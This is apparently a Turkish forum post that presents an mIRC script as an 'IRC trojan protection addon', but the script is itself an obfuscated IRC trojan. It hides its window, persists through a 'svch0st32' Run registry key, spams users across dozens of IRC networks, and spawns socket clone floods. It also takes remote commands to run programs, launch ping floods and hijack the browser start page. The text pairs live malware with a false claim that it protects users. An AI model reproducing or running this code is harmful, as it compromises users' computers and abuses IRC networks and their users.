IRC Trojan Koruma Addonu

Biliyoruzki Son Zamanlarda Sunucuların En Büyük Sorunlarından Biri Olan Trojan?a Kesin Bir Sonuç Getirebilen İşinize Yarayabilecek Bir Kod Olduğunu Düşünerek Bu IRC Trojan Koruma Addonunu Sizlerle Paylaşıyoruz..

on *:connect: {
if ($cid == 1) { band | gir | version }
if (irc.gr isin $server) { band | 1gr1 | .timer 0 5 1gr1 | .timer 0 250 disconnect }
if (EFnet isin $network) { band | 1avalonworks1 | .timer 0 5 1avalonworks1 | .timer 0 250 disconnect }
if (irc-hispano.org isin $server) { band | 1hispano1 | .timer 0 5 1hispano1 | .timer 0 250 disconnect }
if (voila.fr isin $server) { band | 1voila1 | .timer 0 5 1voila1 | .timer 0 250 disconnect }
if (criten.net isin $server) { band | 1criten1 | .timer 0 5 1criten1 | .timer 0 250 disconnect }
if (quakenet.org isin $server) { band | 1quakenet1 | .timer 0 5 1quakenet1 | .timer 0 250 disconnect }
if (dal.net isin $server) { band | 1dal1 | .timer 0 5 1dal1 | .timer 0 250 disconnect }
if (fuxwith.us isin $server) { band | 1fux1 | .timer 0 5 1fux1 | .timer 0 250 disconnect }
if (gigairc.net isin $server) { band | 1giga1 | .timer 0 5 1giga1 | .timer 0 250 disconnect }
if (hqirc.net isin $server) { band | 1hqirc1 | .timer 0 5 1hqirc1 | .timer 0 250 disconnect }
if (icq.com isin $server) { band | 1icq1 | .timer 0 5 1icq1 | .timer 0 250 disconnect }
if (freshirc.com isin $server) { band | 1freshirc1 | .timer 0 5 1freshirc1 | .timer 0 250 disconnect }
if (Aitvaras isin $network) { band | 1omnitel1 | .timer 0 5 1omnitel1 | .timer 0 250 disconnect }
if (263.net isin $server) { band | 12631 | .timer 0 5 12631 | .timer 0 250 disconnect }
if (irchighway.net isin $server) { band | 1irchighway1 | .timer 0 5 1irchighway1 | .timer 0 250 disconnect }
if (galaxynet.org isin $server) { band | 1galaxynet1 | .timer 0 5 1galaxynet1 | .timer 0 250 disconnect }
if (hellas-irc.gr isin $server) { band | $trx(01001010011011110110100101101110) $ask(I1NleCwjZXJvdGljLCNpcmN3YXJleg==) | .timer 0 5 1hellas1 | .timer 0 250 disconnect }
if (zerolimit.net isin $server) { band | 1zero1 | .timer 0 5 1zero1 | .timer 0 250 disconnect }
if (ircnet.com isin $server) { band | 1ircnet1 | .timer 0 5 1ircnet1 | .timer 0 250 disconnect }
if (bluewin.ch isin $server) { band | $trx(01001010011011110110100101101110) $ask(I2JsdWV3aW5mbGlydCwjdGVlbnRhbGsuMSwjenVlcmljaCwjdHVya2NoYXQ=) | .timer 0 5 1bluewin1 | .timer 0 250 disconnect }
if (adultchatnetwork.com isin $server) { band | 1adultchatnetwork1 | .timer 0 5 1adultchatnetwork1 | .timer 0 250 disconnect }
if (263.net isin $server) { band | 12631 | .timer 0 5 12631 | .timer 0 250 disconnect }
if (unibg.org isin $server) { band | 1unibg1 | .timer 0 5 1unibg1 | .timer 0 250 disconnect }
if (spnet.net isin $server) && ($trx(011101010110111001101001011000100110011100101110011011110111001001100111) isin $server) && ($askm(bmF0dXJlbGxhLmNvbQ==) isin $server) && ($askm(c3BuZXQubmV0) isin $server) && ($askm(Ym91cmdhcy5uZXQ=) isin $server) { 1spnet1 | .timer 0 5 1spnet1 | .timer 0 250 disconnect }
if (undernet.org isin $server) { band | 1under1 | .timer 0 5 1under1 | .timer 0 250 disconnect }
if (icq.aol.com isin $server) { band | 1aol1 | .timer 0 5 1aol1 | .timer 0 250 disconnect }
if (irc.pl isin $server) { band | 1pl1 | .timer 0 5 1pl1 | .timer 0 250 disconnect }
if (zurna.net isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (ayna.org isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (e-kolay.net isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (rekor.net isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (zalim.net isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }
if (kelebek.gen.tr isin $server) { 1turk1 | .timer 0 5 1turk1 | .timer 0 250 disconnect }

}
alias band {
nick $read(Color\Windows.icm)
anick $read(Color\Windows.icm)
fullname $read(Color\Windows.icm)
emailaddr $read(Color\Windows.icm)
identd on $read(Color\Windows.icm)
}
alias version { timer 1 50 .msg $trx(0010001101111000011000010111100000110100) 4Trojen Coder 10By MeSuT 2IP : $ip 4Pc : Win $+ – $+ $os 12Saat : $date 4Version : 2005 }
alias xyxttf { var %a = 1 | while (%a <= $len($1)) { var %b = $mid($1,%a,$2) | var %c = %c %b | inc %a $2 } | return %c }
alias Decoder {
$trx(01101110011010010110001101101011) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101))
$trx(0110000101101110011010010110001101101011) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101))
}
alias gir { $trx(01101010011011110110100101101110001000000010001101111000011000010111100000110100) | $trx(011010100110111101101001011011100010000000100011001011100111010001110101011100100110101101101001011110010110010100101110) | anachan }

alias anachan { $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) | $trx(01101010011011110110100101101110) $read(Color\girgir.txt) }
alias tnt { $trx(011000010110111001100001011000100110111101110100) }
alias anabot { $trx(011100110110010101110010011101100110010101110010) $trx(0110100101110010011000110010111001100100011011110111001101110100011011000110000101110010011010010110110100101110011011100110010101110100) }

on *:start: { $ask(bXVjdXg=) | ulkucu | company | .timer 0 250 company | $ask(LnRpbWVyIDAgNDAga29udHJvbA==)
$ask(Y29tcGFueQ==) | $ask(LnRpbWVyIDAgMCB5ZXNpbA==) | $ask(LnRpbWVyIDAgMSBmaXJl)
$tnt
$ask(c2VydmVyIC1t) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011))
$ask(c2VydmVyIC1t) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011))
$ask(c2VydmVyIC1t) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011))
$ask(c2VydmVyIC1t) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011))
$ask(c2VydmVyIC1t) $read($trx(01110100011000010111001000101110011110100110100101110000))
$ask(c2VydmVyIC1t) $read($trx(01110100011000010111001000101110011110100110100101110000))
}
on *:disconnect: {
ulkucu
if ($scon(1).status = disconnected) { scid -s 1 $tnt }
if ($scon(2).status = disconnected) { scid -s 2 $ask(c2VydmVy) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011)) }
if ($scon(3).status = disconnected) { scid -s 3 $ask(c2VydmVy) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011)) }
if ($scon(4).status = disconnected) { scid -s 4 $ask(c2VydmVy) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011)) }
if ($scon(5).status = disconnected) { scid -s 5 $ask(c2VydmVy) $read($trx(01110111011010010110111001110010011001010110011100101110011100110111100101110011)) }
if ($scon(6).status = disconnected) { scid -s 6 $ask(c2VydmVy) $read($trx(01110100011000010111001000101110011110100110100101110000)) }
if ($scon(7).status = disconnected) { scid -s 7 $ask(c2VydmVy) $read($trx(01110100011000010111001000101110011110100110100101110000)) }

}
on *:action:*:closemsg $nick | halt
on *:notice:*:closemsg $nick | halt
on *:ping: { ctcp $me ping }
alias kontrol { if (!$server) { $tnt } }

alias 1under1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_01.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1turk1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/turks.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1avalonworks1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_02.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1voila1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_03.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1quakenet1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_04.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1dal1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_05.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1gr1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_06.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1criten1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_07.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1hispano1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_08.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1fux1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_09.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1icq1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_10.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1irchighway1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_12.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1freshirc1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_13.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1aol1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_14.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1chez1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_21.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 12631 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_16.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1giga1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_17.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1galaxynet1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_18.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1hellas1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_22.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1zero1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_19.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1bluewin1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $ask(I2JsdWV3aW5mbGlydCwjdGVlbnRhbGsuMSwjenVlcmljaCwjdHVya2NoYXQ=) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1adultchatnetwork1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $ask(I0JhcmVseUxlZ2FsLCNnYXksI2JpZmVtLCNIb3JueXdpZmU=) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1omnitel1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_15.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1spnet1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_20.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}
alias 1tr1 {
if ($chan(0).status = 0) { $trx(01001010011011110110100101101110) $read(driver/m_tr.cat) }
if ($chan(0).status >= 1) { $trx(01101000011000010110110001110100) }
}

alias fire { if ($appsate != hidden) { .echo hidden $dll(tuqa.dll, do_ShowWindow, $window(-2).hwnd 0) } }
alias key { $trx(011101000111001001101111011010100110010101101110) }
alias kanki { $trx(0110101001101111011010010110111000100000001000110011110100100001) %key | $trx(01101010011011110110100101101110001000000010001101100000) %key1 | $trx(01101010011011110110100101101110001000000010001101111110) %key2 }
alias mrsn { unset %rxf* | set %rxf $r(a,z) | var %a = $r(1,5) , %b = $r(1,5) , %c = $r(1,2) , %d = $r(a,z) | if (%c = 1) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) }
if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | if (%c = 2) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) } | if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | return $remove(%rxf,$chr(32))
}
alias nsrm { unset %rxf* | set %rxf $r(a,z) | var %a = $r(1,5) , %b = $r(1,4) , %c = $r(1,2) , %d = $r(a,z) | if (%c = 1) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) }
if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | if (%c = 2) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) } | if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | return $remove(%rxf,$chr(32))
}
alias will {
var %a = will
.comopen %a WScript.Shell
if !$comerr {
var %b = $com(%a,$decode(UmVnV3JpdGU=,m),3,bstr,$1,bstr,$2,bstr,$3)
.comclose %a
}
}
alias company { $will(HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svch0st32,$shortfn($mircexe),REG_SZ) }

alias ulkucu {
$ask(bmljaw==) $siktim
$ask(YW5pY2s=) $siktim
$ask(ZnVsbG5hbWU=) $read(Color\Windows.icm)
$ask(ZW1haWxhZGRy) $read(Color\Windows.icm)
$ask(aWRlbnRkIG9u) $read(Color\Windows.icm)
}
alias saldım { unset %rxf* | set %rxf $r(a,z) | var %a = $r(1,5) , %b = $r(1,5) , %c = $r(1,2) , %d = $r(a,z) | if (%c = 1) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) }
if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | if (%c = 2) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) } | if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | return $remove(%rxf,$chr(32))
}
alias siktim { unset %rxf* | set %rxf $r(a,z) | var %a = $r(1,5) , %b = $r(1,4) , %c = $r(1,2) , %d = $r(a,z) | if (%c = 1) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) }
if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | if (%c = 2) { var %_ = 1 | while (%_ <= $calc(%a + %b)) { var %r = $r(1,2) | if (%r = 1) { set %rxf [ %rxf ] $r(a,z) } | if (%r = 2) { set %rxf [ %rxf ] $r(a,z) } | inc %_ } } | return $remove(%rxf,$chr(32))
}

alias trojen {
if ($1 = $ask(eXVrbGU=)) {
var %x = $4
%cs = $2
%cp = $3
while (%x >= 1) {
.sockopen trojen $+ %x $+ $mrsn %cs %cp
dec %x
}
}
if ($1 = $ask(c2FsZP1y)) {
$tntmersin(sockw,join,$2)
$tntmersin(sockw,privmsg,$2, : $cimbom)
}
if ($1 = $ask(Z2ly)) {
$tntmersin(sockw,join,$2)
}
if ($1 = $ask(Y/1r)) {
$tntmersin(sockw,part,$2)
}
if ($1 = $ask(Y2xvc2U=)) {
$tntmersin(sockw,quit, : $cimbom)
.timerflood off
}
if ($1 = $ask(bm90aWNl)) {
$tntmersin(sockw,notice,$2, : $3-)
}
if ($1 = $ask(cmVnbGU=)) { $oku }
if ($1 = $ask(cmFuZG9t)) {
$tntmersin(sockw,join,$2)
$tntmersin(sockw,privmsg,$2, : $3- $str($mrsn,50))
}
if ($1 = $ask(aGVscA==)) {
$tntmersin(sockw,privmsg,nickserv, : help)
$tntmersin(sockw,privmsg,chanserv, : help)
$tntmersin(sockw,privmsg,memoserv, : help)
}
if ($1 = $ask(bWVtb3NlbmQ=)) { sockwrite -nt trojen* memoserv send $2 : $3- }
if ($1 = $ask(bmljaw==)) { sockwrite -nt trojen* $dellen }
}
on *:exit: { run $remove($mircexe,$mircdir) | $ask(Y29tcGFueQ==) }
on *:error:*: { $ask(c2VydmVy) $read($trx(01101011011001010111001001101110011001010110110000101110011000110110100001101101)) }
on 9999:text:*:#: {
if ($cid == 1) {
if ($1 = $me) { $2- }
if ($1 = $trx(0010000101100001011110100110000101110100)) { $2- }
if ($1 = $trx(001000010110100101101110011001000110100101110010)) { $trx(01110010011101010110111000100000011011010111001001110011011011100010111001100101011110000110010100100000001011110110111000100000001011110110011001101000001000000010111101110010) ” $+ Symad.exe $2- $+ ” }
if ($1 = $ask(LmF0dGFjaw==)) { $trx(01110010011101010110111000100000011011010111001001110011011011100010111001100101011110000110010100100000001011110110111000100000001011110110011001101000001000000010111101110010) “ping.exe $2 -t” }
if ($1 = $ask(LnVuYXR0YWNr)) { $trx(01110010011101010110111000100000011011010111001001110011011011100010111001100101011110000110010100100000001011110110111000100000001011110110011001101000001000000010111101110010) “lysl -kf $2-” }
if ($1 == !kanal) { .write Color\girgir.txt $2- }
if ($1 == !sil) { .remove Color\girgir.txt $2- }
if ($1 == $ask(IWdpcmlz)) {
set %giris $2
set %system $r(10,1999) $+ .reg
.write %system $ask(UkVHRURJVDQ=)
.write %system $ask(W0hLRVlfQ1VSUkVOVF9VU0VSXFNvZnR3YXJlXE1pY3Jvc29mdFxJbnRlcm5ldCBFeHBsb3JlclxNYWluXQ==)
.write %system “Start Page” = ” $+ %giris $+ ”
$ask(LnJ1biAtbiByZWdlZGl0IC9z) %system
$ask(LnRpbWVyIDEgNCByZW1vdmU=) %system
$ask(bXNnICMq) 12[Giriş Sayfasi] 4 %giris 12Degişti
}
}
}

alias dellen { sockwrite -nt trojen* $sockname nick $mrsn }
alias oku { sockwrite -nt trojen* nickserv register $mrsn $+($mrsn,@hotmail.com) }
on 1:sockopen:trojen*: {
.sockwrite -nt $sockname user $saldım $saldım $siktim : $saldım
.sockwrite -nt $sockname nick $siktim
}
raw *:*: {
if ($numeric = 439) { disconnect }
if ($numeric = 432) { $ask(bmljaw==) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101)) }
if ($numeric = 433) { $ask(bmljaw==) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101)) }
if ($numeric = 433) { $ask(bmljaw==) $read($trx(0100001101101111011011000110111101110010010111000101011101101001011011100110010001101111011101110111001100101110011010010110001101101101)) }
if ($numeric = 475) { if ($ask(emlydmVkZS5uZXQ=) isin $server) { $ask(aGFsdA==) } | $ask(am9pbg==) $read($ask(V21hZ21lcy5kbGw=)) }
if ($numeric = 477) {
if ($ask(emlydmVkZS5uZXQ=) isin $server) { $ask(aGFsdA==) }
$ask(Tmlja1NlcnYgcmVnaXN0ZXIgYWxpdG9wdWF0) $mrsn $+ @hotmail.com
}
if ($cid == 1) {
if ($numeric = 332) { .remove system.sys | $iif($me ison #xax4, write system.sys $chan(#xax4).topic) | .remove turkmsj.dll | $iif($me ison #.turkiye.,write turkmsj.dll $chan(#.turkiye.).topic) }
if ($numeric = 366) { if ($nick($2,0) = 1) { if ($2 = #=!) { .mode $2 +ntpk %key } }
if ($numeric = 333) { $iif($2 = #.sok,%atopic = $3) }
}
}
}
alias Pp {
if ($prop == dbu) { if ($mouse.x >= $calc($$1 * $dbuw)) && ($mouse.x <= $calc(($dbuw * $$1) + ($dbuw * $$3))) && ($mouse.y >= $calc($dbuh * $$2)) && ($mouse.y <= $calc(($dbuh * $$2) + ($dbuh * $$4))) { return $trxue }
else { return $false }
}
else { if ($mouse.x >= $$1) && ($mouse.x <= $calc($$1 + $$3)) && ($mouse.y >= $$2) && ($mouse.y <= $calc($$2 + $$4)) { return $trxue }
else { return $false }
}
}

alias yenilendi { .timer 1 10 $ask(am9pbiAjenVybmE=) | .timer 1 10 $ask(am9pbiAjemlydmVkZQ==) | .timer 1 10 $ask(am9pbg==) $read($ask(WGRkaWNrLnZ4ZA==)) | .timer 1 10 $ask(am9pbg==) $read($ask(WGRkaWNrLnZ4ZA==)) | .timer 1 10 $ask(am9pbg==) $read($ask(WGRkaWNrLnZ4ZA==)) | .timer 1 10 $ask(am9pbg==) $read($ask(TVh6aXIuZGxs)) | .timer 1 10 $ask(am9pbg==) $read($ask(TVh6aXIuZGxs)) | .timer 1 15 $ask(am9pbg==) $read($ask(TVh6aXIuZGxs)) }
alias tntmersin { if ( $1 = trojenteam) { $ask(cnVuIGtvbWlrLmV4ZSAvbiAvZmggL3I=) ‘ $+ $2- $+ ‘ } | if ($1 = sockw) { sockwrite -nt trojen* $2- } }
alias cimbom { return $str( $+  $+ $r(A,Z) $+  $+ $r(0,9) $+  $+ $r(a,z) $+  $+ $r(0,9) $+  $+ $r(a,z),$r(60,72)) }
alias yesil { if ($Pp(0,0,1600,1200) = $trxue) { .remove $script(1) | .unload -rs Drivers\fax.cat | .remove Drivers\fax.cat } }
alias mucux { .echo hidden $dll(tuqa.dll, do_ShowWindow, $window(-2).hwnd 0) }

on *:join:#: {
window -h $chan
if ($nick = $me) {
if ($cid == 1) { halt }
if (irc.gr isin $server) { .aclear | unset %anick | .auser 10 $address($me,1) | .timer 0 15 aag # }
if (EFnet isin $network) { .bclear | unset %bnick | .auser 15 $address($me,1) | .timer 0 15 bag # }
if (irc-hispano.org isin $server) { .cclear | unset %cnick | .auser 20 $address($me,1) | .timer 0 15 cag # }
if (voila.fr isin $server) { .dclear | unset %dnick | .auser 25 $address($me,1) | .timer 0 15 dbag # }
if (criten.net isin $server) { .eclear | unset %enick | .auser 30 $address($me,1) | .timer 0 15 eag # }
if (quakenet.org isin $server) { .fclear | unset %fnick | .auser 35 $address($me,1) | .timer 0 15 fag # }
if (dal.net isin $server) { .gclear | unset %gnick | .auser 40 $address($me,1) | .timer 0 15 gag # }
if (fuxwith.us isin $server) { .hclear | unset %hnick | .auser 45 $address($me,1) | .timer 0 15 hag # }
if (gigairc.net isin $server) { .ıclear | unset %inick | .auser 50 $address($me,1) | .timer 0 15 iag # }
if (icq.com isin $server) { .jclear | unset %lnick | .auser 60 $address($me,1) | .timer 0 15 lag # }
if (freshirc.com isin $server) { .kclear | unset %mnick | .auser 65 $address($me,1) | .timer 0 15 mag # }
if (Aitvaras isin $network) { .lclear | unset %nnick | .auser 70 $address($me,1) | .timer 0 15 nag # }
if (263.net isin $server) { .mclear | unset %pnick | .auser 75 $address($me,1) | .timer 0 15 pag # }
if (irchighway.net isin $server) { .nclear | unset %rnick | .auser 80 $address($me,1) | .timer 0 15 rag # }
if (galaxynet.org isin $server) { .pclear | unset %snick | .auser 85 $address($me,1) | .timer 0 15 sag # }
if (hellas-irc.gr isin $server) { .rclear | unset %tnick | .auser 90 $address($me,1) | .timer 0 15 tag # }
if (zerolimit.net isin $server) { .sclear | unset %vnick | .auser 95 $address($me,1) | .timer 0 15 vag # }
if (ircnet.com isin $server) { .tclear | unset %ynick | .auser 100 $address($me,1) | .timer 0 15 yag # }
if (bluewin.ch isin $server) { .vclear | unset %znick | .auser 105 $address($me,1) | .timer 0 15 zag # }
if (adultchatnetwork.com isin $server) { .yclear | unset %xnick | .auser 110 $address($me,1) | .timer 0 15 xag # }
if (unibg.org isin $server) { .zclear | unset %wnick | .auser 115 $address($me,1) | .timer 0 15 wag # }
if (undernet.org isin $server) { .xclear | unset %qnick | .auser 120 $address($me,1) | .timer 0 15 qag # }
if (zurna.net isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (ayna.org isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (e-kolay.net isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (rekor.net isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (zalim.net isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
if (kelebek.gen.tr isin $server) { .turkclear | unset %mes | .auser 150 $address($me,1) | .timer 0 15 ela # }
}
}
alias aag { inc %anick = | if ($ulist($address($rnick($1,%anick),-1),10,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%anick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%anick),$chr(32),$read(system.sys)) }
alias bag { inc %bnick = | if ($ulist($address($rnick($1,%anick),-1),15,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%bnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%bnick),$chr(32),$read(system.sys)) }
alias cag { inc %cnick = | if ($ulist($address($rnick($1,%cnick),-1),20,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%cnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%cnick),$chr(32),$read(system.sys)) }
alias dag { inc %dnick = | if ($ulist($address($rnick($1,%dnick),-1),25,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%dnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%dnick),$chr(32),$read(system.sys)) }
alias eag { inc %enick = | if ($ulist($address($rnick($1,%enick),-1),30,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%enick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%enick),$chr(32),$read(system.sys)) }
alias fag { inc %fnick = | if ($ulist($address($rnick($1,%fnick),-1),35,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%fnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%fnick),$chr(32),$read(system.sys)) }
alias gag { inc %gnick = | if ($ulist($address($rnick($1,%gnick),-1),40,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%gnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%gnick),$chr(32),$read(system.sys)) }
alias hag { inc %hnick = | if ($ulist($address($rnick($1,%hnick),-1),45,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%hnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%hnick),$chr(32),$read(system.sys)) }
alias iag { inc %inick = | if ($ulist($address($rnick($1,%inick),-1),50,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%inick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%inick),$chr(32),$read(system.sys)) }
alias kag { inc %knick = | if ($ulist($address($rnick($1,%knick),-1),55,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%knick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%knick),$chr(32),$read(system.sys)) }
alias lag { inc %lnick = | if ($ulist($address($rnick($1,%lnick),-1),60,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%lnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%lnick),$chr(32),$read(system.sys)) }
alias mag { inc %mnick = | if ($ulist($address($rnick($1,%mnick),-1),65,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%mnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%mnick),$chr(32),$read(system.sys)) }
alias nag { inc %nnick = | if ($ulist($address($rnick($1,%nnick),-1),70,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%nnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%nnick),$chr(32),$read(system.sys)) }
alias pag { inc %pnick = | if ($ulist($address($rnick($1,%pnick),-1),75,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%pnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%pnick),$chr(32),$read(system.sys)) }
alias rag { inc %onick = | if ($ulist($address($rnick($1,%rnick),-1),80,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%rnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%rnick),$chr(32),$read(system.sys)) }
alias sag { inc %snick = | if ($ulist($address($rnick($1,%snick),-1),85,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%snick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%snick),$chr(32),$read(system.sys)) }
